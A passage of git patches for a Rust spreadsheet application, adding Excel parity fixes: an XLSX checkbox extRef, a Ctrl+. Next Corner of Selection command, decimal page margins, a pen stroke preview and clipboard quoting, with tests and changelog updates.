"{C7286773-470A-42A8-94C5-96B5CB345126}"; /// The bags for one checkbox cell control, referenced as `xfComplement i="0"`: Checkbox (0), /// XFControls → 0 (1), XFComplement → 1 (2), XFComplements mapping index 0 → 2 (3). Every -/// reference points to an earlier bag, as [MS-XLSX] 2.6.230 requires. +/// reference points to an earlier bag, as [MS-XLSX] 2.6.230 requires. The XFComplements bag is +/// the one `xfComplement` indexes into, and Excel finds it by its `extRef`: without +/// `extRef="XFComplementsMapperExtRef"` it repairs the workbook ("Format from /xl/styles.xml") +/// and drops every checkbox (#2630). pub fn checkbox_part() -> String { format!( - "\n012" + "\n012" ) } @@ -73,6 +76,9 @@ mod tests { fn written_chain_resolves_and_hostile_chains_do_not() { let root = crate::xml::parse(checkbox_part().as_bytes()).unwrap_or_default(); assert_eq!(checkbox_complements(&root), vec![true]); + // #2630: Excel repairs the file unless the mapping bag carries this extRef. + let mapper = root.kids("bag").find(|b| b.attr("type") == Some("XFComplements")); + assert_eq!(mapper.and_then(|b| b.attr("extRef")), Some("XFComplementsMapperExtRef")); // Out-of-range, wrong-type and self references resolve to false without panicking. let bad = format!( "99114294967295x" From 8b2550c9cf8fac8c9759f48fa8eafbb376a4d79d Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:44:15 -0600 Subject: [PATCH 085/167] #1442: Ctrl+. moves to the next corner of the selection Excel's Next Corner of Selection (Ctrl+., Control+. on a Mac) moves the active cell clockwise to the next corner of the selected area (top-left, top-right, bottom-right, bottom-left) and keeps the area selected; the new active cell is also the anchor, so Shift+arrows then move the opposite corner. GridCraft had no such command. New command selection.nextCorner (Selection::next_corner) bound to Ctrl+. on every platform. A one-row or one-column area goes end to end; a single cell stays where it is. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit.rs | 11 +++++++- crates/engine/src/cmd/edit/selection.rs | 6 +++++ crates/engine/src/cmd/edit/tests.rs | 26 +++++++++++++++++++ crates/engine/src/selection.rs | 17 ++++++++++++ crates/ui-egui/src/keymap.rs | 2 ++ crates/ui-egui/tests/it/keyboard_shortcuts.rs | 5 ++++ docs/ui-parity.md | 4 ++- 7 files changed, 69 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 2aa9d8fe3..cf75a429d 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -36,7 +36,7 @@ use go_to::go_to_special; use go_to::{GO_TO_MAX_AREAS, GO_TO_RECENT, reference_parts}; use paste_special::paste_special; pub(crate) use paste_special::{rewrite_all_formulas, rewrite_cell_links, rewrite_python_refs}; -use selection::{select_all, select_col, select_region, select_row, selection_move, selection_next, selection_set}; +use selection::{select_all, select_col, select_region, select_row, selection_move, selection_next, selection_next_corner, selection_set}; pub fn specs() -> Vec { vec![ @@ -62,6 +62,15 @@ pub fn specs() -> Vec { cmd!(noundo "selection.set", "Select", [], None, "{range: \"A1:B2,D4\" | cell, active?: \"A1\", sheet?}", has_doc, selection_set), cmd!(noundo "selection.move", "Move Selection", [], None, "{dr, dc, extend?: bool, jump?: bool (Ctrl+arrow), page?: bool}", has_doc, selection_move), cmd!(noundo "selection.next", "Next Cell in Selection", [], None, "{forward?: true, byRow?: false} (Enter/Tab inside a selection)", has_doc, selection_next), + cmd!( + noundo "selection.nextCorner", + "Next Corner of Selection", + [], + Some("Ctrl+."), + "{} (the active cell moves clockwise to the next corner of the selected area, which stays selected)", + has_doc, + selection_next_corner + ), cmd!(noundo "edit.selectAll", "Select All", ["Edit"], Some("Cmd+A"), "{} (current region first, then the whole sheet)", has_doc, select_all), cmd!(noundo "selection.currentRegion", "Select Current Region", [], Some("Ctrl+Shift+8"), "{}", has_doc, select_region), cmd!(noundo "selection.row", "Select Entire Row", [], Some("Shift+Space"), "{}", has_doc, select_row), diff --git a/crates/engine/src/cmd/edit/selection.rs b/crates/engine/src/cmd/edit/selection.rs index ede66a34d..03e178156 100644 --- a/crates/engine/src/cmd/edit/selection.rs +++ b/crates/engine/src/cmd/edit/selection.rs @@ -137,6 +137,12 @@ pub(super) fn selection_next(s: &mut Session, p: &Json) -> Result { Ok(json!({"active": d.selection.active.a1()})) } +pub(super) fn selection_next_corner(s: &mut Session, _: &Json) -> Result { + let d = s.doc_mut()?; + d.selection.next_corner(); + Ok(json!({"active": d.selection.active.a1(), "selection": d.selection.a1()})) +} + pub(super) fn select_all(s: &mut Session, _: &Json) -> Result { let d = s.doc_mut()?; let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) }; diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 3f3a2fb6d..ead610e50 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -371,3 +371,29 @@ fn replace_case_insensitive_keeps_text_when_folding_moves_boundaries() { let sh = s.doc().unwrap().wb.active().unwrap(); assert_eq!(sh.value(CellRef::new(0, 0)), Value::text(text)); } + +#[test] +fn next_corner_of_selection_goes_clockwise_and_anchors_there() { + // #1442, as Excel does it: B2 → D2 → D4 → B4 → B2, the area stays selected, and Shift+arrows + // then move the corner opposite the new active cell. + let mut s = Session::new(); + s.new_workbook(); + s.execute("selection.set", json!({"range": "B2:D4", "active": "B2"})).unwrap(); + let mut seen = Vec::new(); + for _ in 0..4 { + let r = s.execute("selection.nextCorner", json!({})).unwrap(); + assert_eq!(r["selection"], "B2:D4"); + seen.push(r["active"].as_str().unwrap().to_string()); + } + assert_eq!(seen, ["D2", "D4", "B4", "B2"]); + s.execute("selection.nextCorner", json!({})).unwrap(); + s.execute("selection.nextCorner", json!({})).unwrap(); + s.execute("selection.move", json!({"dr": 0, "dc": 1, "extend": true})).unwrap(); + assert_eq!(s.doc().unwrap().selection.current().a1(), "C2:D4"); + // One row goes end to end; a single cell stays. + s.execute("selection.set", json!({"range": "B2:D2", "active": "B2"})).unwrap(); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "D2"); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B2"); + s.execute("selection.set", json!({"range": "C5"})).unwrap(); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C5"); +} diff --git a/crates/engine/src/selection.rs b/crates/engine/src/selection.rs index 0e00e4869..a69870adb 100644 --- a/crates/engine/src/selection.rs +++ b/crates/engine/src/selection.rs @@ -128,6 +128,23 @@ impl Selection { } } +impl Selection { + /// Ctrl+. (Next Corner of Selection): the active cell moves clockwise to the next corner of + /// the current area (top-left, top-right, bottom-right, bottom-left) and becomes the anchor, + /// so Shift+arrows then move the opposite corner. The area stays selected. From a cell that + /// isn't a corner the next corner is the top-left one; a single cell stays where it is. + pub fn next_corner(&mut self) { + let r = self.current(); + let corners = [r.start, CellRef::new(r.start.row, r.end.col), r.end, CellRef::new(r.end.row, r.start.col)]; + let next = match corners.iter().position(|c| *c == self.active) { + Some(i) => (1..=4).filter_map(|k| corners.get((i + k) % 4)).copied().find(|c| *c != self.active).unwrap_or(self.active), + None => r.start, + }; + self.active = next; + self.anchor = next; + } +} + /// Ctrl+arrow: jump to the edge of the current data region (Excel's End mode). pub fn jump(sheet: &Sheet, from: CellRef, dr: i64, dc: i64) -> CellRef { if dr == 0 && dc == 0 { diff --git a/crates/ui-egui/src/keymap.rs b/crates/ui-egui/src/keymap.rs index 5217724c0..5acce9b4d 100644 --- a/crates/ui-egui/src/keymap.rs +++ b/crates/ui-egui/src/keymap.rs @@ -115,6 +115,8 @@ fn lookup_number_formats(ctx: LookupContext) -> Option { Num7 if ctrl && s => borders("outside"), Minus if ctrl && s => borders("none"), Num8 if ctrl && s => run("selection.currentRegion"), + // Ctrl+. (Control on a Mac too): Next Corner of Selection. + Period if ctrl && !s => run("selection.nextCorner"), Semicolon if ctrl && s => Shortcut::Time, Quote if ctrl && s => Shortcut::ValueAbove, Quote if ctrl => Shortcut::FormulaAbove, diff --git a/crates/ui-egui/tests/it/keyboard_shortcuts.rs b/crates/ui-egui/tests/it/keyboard_shortcuts.rs index 8d3de6fcb..f59504dee 100644 --- a/crates/ui-egui/tests/it/keyboard_shortcuts.rs +++ b/crates/ui-egui/tests/it/keyboard_shortcuts.rs @@ -100,6 +100,11 @@ fn windows_and_mac_variants() { assert_eq!(lookup(Key::ArrowLeft, Some(Key::Num4), alt_shift, false), run("data.ungroup")); assert_eq!(lookup(Key::PageDown, Some(Key::Num3), Modifiers::ALT, false), Some(Shortcut::ScreenRight)); assert_eq!(lookup(Key::PageDown, Some(Key::Num3), CTRL_SHIFT, false), None); + // Ctrl+. is Next Corner of Selection, with Control on a Mac too (#1442); Cmd+Shift+. stays + // Increase Font Size. + assert_eq!(lookup(Key::Period, Some(Key::Period), cmd, false), run("selection.nextCorner")); + assert_eq!(lookup(Key::Period, Some(Key::Period), ctrl, true), run("selection.nextCorner")); + assert_eq!(lookup(Key::Period, Some(Key::Period), Modifiers { shift: true, ..mac_cmd }, true), run("home.increaseFontSize")); // Plain keys stay with the grid (typing, navigation). assert_eq!(lookup(Key::A, Some(Key::A), Modifiers::NONE, false), None); assert_eq!(lookup(Key::F2, Some(Key::F2), Modifiers::NONE, false), None); diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..96fa3864d 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (Ctrl+. Next Corner of Selection; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -125,6 +125,7 @@ otherwise. Number-format and border keys match the physical key (Ctrl+Shift+4, w | — | Cmd+Shift+H, Cmd+Shift+R, Cmd+Shift+K / J, Control+L, Control+U | replace, sort, group / ungroup, Define Name, edit cell | **added** | | Alt+Shift+Right / Left | Option+Right / Left is next/previous sheet | group / ungroup | **added** | | Ctrl+Shift+* (Ctrl+Shift+8), Ctrl+Shift+Space | Cmd+Shift+Space | current region, select all | **added** | +| Ctrl+. | Control+. | Next Corner of Selection: the active cell goes clockwise to the next corner and anchors there (`selection.nextCorner`, #1442) | **added** | | Ctrl+Shift+Home / End, Shift+Home | same | extend to A1 / last used cell / row start | **added** | | Ctrl+P | Cmd+P | print | **added** | | Ctrl+Shift+> / < | Cmd+Shift+> / < | font size | **added** | @@ -237,6 +238,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Ctrl+. (Control+. on a Mac): Next Corner of Selection, `selection.nextCorner`: the active cell moves clockwise to the next corner of the selected area, which stays selected, and becomes the anchor, as in Excel (#1442) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 49f2ef515bf433c0bfb2a1dcef804f6711ef3164 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:52:58 -0600 Subject: [PATCH 086/167] #1609: write page margins as their decimals The page margins are kept as f32 and were widened to f64 when written, so a 0.3-inch margin was saved as left="0.30000001192092896" (and 1.1 as 1.100000023841858). Each margin now goes through its shortest decimal form first, so the file says 0.3, as Excel writes it. Co-Authored-By: Claude Opus 5.5 --- crates/xlsx/src/sheet_write.rs | 7 ++++++- crates/xlsx/src/tests/page_order.rs | 12 ++++++++++++ docs/file-format-parity.md | 3 ++- 3 files changed, 20 insertions(+), 2 deletions(-) diff --git a/crates/xlsx/src/sheet_write.rs b/crates/xlsx/src/sheet_write.rs index a32e6bee6..ed3cb89ea 100644 --- a/crates/xlsx/src/sheet_write.rs +++ b/crates/xlsx/src/sheet_write.rs @@ -370,7 +370,12 @@ fn write_sheet_printing<'a>(s: &mut String, sheet: &'a Sheet, rels: &mut Rels, o } // Unmodelled content kept from the source file (printer settings, controls, OLE objects…). let kept = crate::passthrough::SheetKept::write(sheet, rels, out); - let m = |i: usize| num(p.margins.get(i).copied().unwrap_or(0.75) as f64); + // Margins are kept as f32: widen each through its shortest decimal, so 0.3 is written as + // `0.3`, as Excel writes it, and not as `0.30000001192092896` (#1609). + let m = |i: usize| { + let inches = p.margins.get(i).copied().unwrap_or(0.75); + num(inches.to_string().parse::().unwrap_or(f64::from(inches))) + }; let _ = write!(s, "", m(0), m(1), m(2), m(3), m(4), m(5)); s.push_str(""#; + let (wb, _) = read_xlsx(&minimal(body, &[], "", "")).unwrap(); + let xml = sheet_xml(&write_xlsx(&wb).unwrap()); + assert!(xml.contains(r#""#), "{xml}"); + // The default sheet writes Excel's default margins exactly. + let xml = sheet_xml(&write_xlsx(&Workbook::new()).unwrap()); + assert!(xml.contains(r#""#), "{xml}"); +} diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..45587104c 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-03 · **Change:** minor (XLSX page margins are written as their decimals, `0.3` rather than `0.30000001192092896`; earlier: Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -155,6 +155,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | XLSX `pageMargins` are written as the decimals they were read or set as (`0.3`, as Excel writes them), not as the f64 widening of the stored f32 (`0.30000001192092896`) (#1609 item 7) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | From 2fe3bfc0779d5441de35fc4accebd5f1b61473c1 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:59:09 -0600 Subject: [PATCH 087/167] #1786: the live pen stroke is drawn as the ink it commits While dragging with a pen, the stroke under the pointer was always painted blue at 2 pt, whatever pen or highlighter was chosen, so the preview and the committed ink disagreed (a highlighter previewed as a thin blue line). The preview now uses the colour and width draw.stroke stores (pen blue and 2 pt by default, 0.5-40 pt, whole points) and the translucency Ink shapes are painted with above 8 pt. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/grid/interact.rs | 36 +++++++++++++++++++++++++---- docs/ui-parity.md | 3 ++- 2 files changed, 34 insertions(+), 5 deletions(-) diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 5de25fd53..a94f08e6d 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -225,10 +225,10 @@ fn handle_draw_tool(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool { )) }) .collect(); - input - .ui - .painter() - .add(egui::epaint::PathShape::line(pts, egui::epaint::PathStroke::new(2.0 * geo.z, Color32::from_rgb(0x1F, 0x5F, 0xC9)))); + // The line under the pointer is the ink the stroke will commit (#1786). + let theme = app.session.active().map(|d| d.wb.theme.clone()).unwrap_or_default(); + let (color, width) = pen_ink(&app.session.draw_color, app.session.draw_width, &theme); + input.ui.painter().add(egui::epaint::PathShape::line(pts, egui::epaint::PathStroke::new(width * geo.z, color))); } if resp.drag_stopped() && app.grid.ink.len() >= 2 { let pts: Vec<[f32; 2]> = std::mem::take(&mut app.grid.ink); @@ -249,6 +249,17 @@ fn handle_draw_tool(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool { false } +/// The colour and width (points) of the ink a pen stroke commits, as `draw.stroke` stores it (the +/// pen's colour, pen blue by default; its width, 2 pt by default, kept to 0.5–40 pt and stored +/// whole) and as Ink shapes paint it (a highlighter, over 8 pt, is translucent). +pub(crate) fn pen_ink(color: &str, width: f32, theme: &gridcraft_engine::model::Theme) -> (Color32, f32) { + let pen_blue = gridcraft_engine::model::Color::rgb(0x1F, 0x5F, 0xC9); + let line = gridcraft_engine::model::Color::from_hex(color).unwrap_or(pen_blue); + let width = if width <= 0.0 { 2.0 } else { width }.clamp(0.5, 40.0).round().max(1.0); + let color = line.resolve(theme).map(crate::theme::color32).unwrap_or(Color32::from_rgb(0x1F, 0x5F, 0xC9)); + (if width > 8.0 { color.gamma_multiply(0.45) } else { color }, width) +} + fn handle_header_autofit(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool { let (geo, sh, sel, pos) = (input.geo, input.sheet, &input.selection, input.position); let (in_col_header, in_row_header) = (input.in_column_header, input.in_row_header); @@ -1044,3 +1055,20 @@ pub fn point_move(app: &mut SheetApp, ed: &mut EditState, dr: i64, dc: i64, exte ed.point_anchor = Some((sheet, anchor)); app.grid.ensure_visible = true; } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_pen_preview_is_the_ink_the_stroke_commits() { + // #1786: the preview was always blue at 2 pt, whatever the pen. + let theme = gridcraft_engine::model::Theme::default(); + assert_eq!(pen_ink("#C00000", 3.0, &theme), (Color32::from_rgb(0xC0, 0, 0), 3.0)); + assert_eq!(pen_ink("", 0.0, &theme), (Color32::from_rgb(0x1F, 0x5F, 0xC9), 2.0), "no pen chosen yet: pen blue, 2 pt"); + assert_eq!(pen_ink("not a colour", 0.2, &theme), (Color32::from_rgb(0x1F, 0x5F, 0xC9), 1.0)); + // A highlighter is wide and translucent, as the committed ink is painted. + let (c, w) = pen_ink("#FFFF00", 12.0, &theme); + assert_eq!((c, w), (Color32::from_rgb(0xFF, 0xFF, 0).gamma_multiply(0.45), 12.0)); + } +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..5b7b4fb66 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (the Draw tab's live stroke preview uses the pen's colour and thickness; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Draw tab: the stroke drawn under the pointer while dragging a pen is the ink that will be committed, in the pen's colour and thickness (translucent for a highlighter), instead of always blue at 2 pt (#1786) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From fe965e758150adadfbc27cd154bc360675715c13 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:02:40 -0600 Subject: [PATCH 088/167] #2225: copy quotes only cells with a tab or line break Copy wrapped any cell that held a double quote in quotes (and doubled its quotes), so copying `say "hi"` into another app gave `"say ""hi"""`. Excel quotes only text with a tab or line break; a cell with just quotes goes on the clipboard as it is. Pasting text read a field that starts with a quote as quoted even when its closing quote doesn't end the field, so `"hi" there` (which Excel copies as it is) pasted as `hi there`. A field is now quoted only when its closing quote is followed by a tab, a line end or the end of the text; otherwise it is the text as written, as Excel pastes it. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/clipboard.rs | 10 ++++++++++ crates/engine/src/cmd/edit/tests.rs 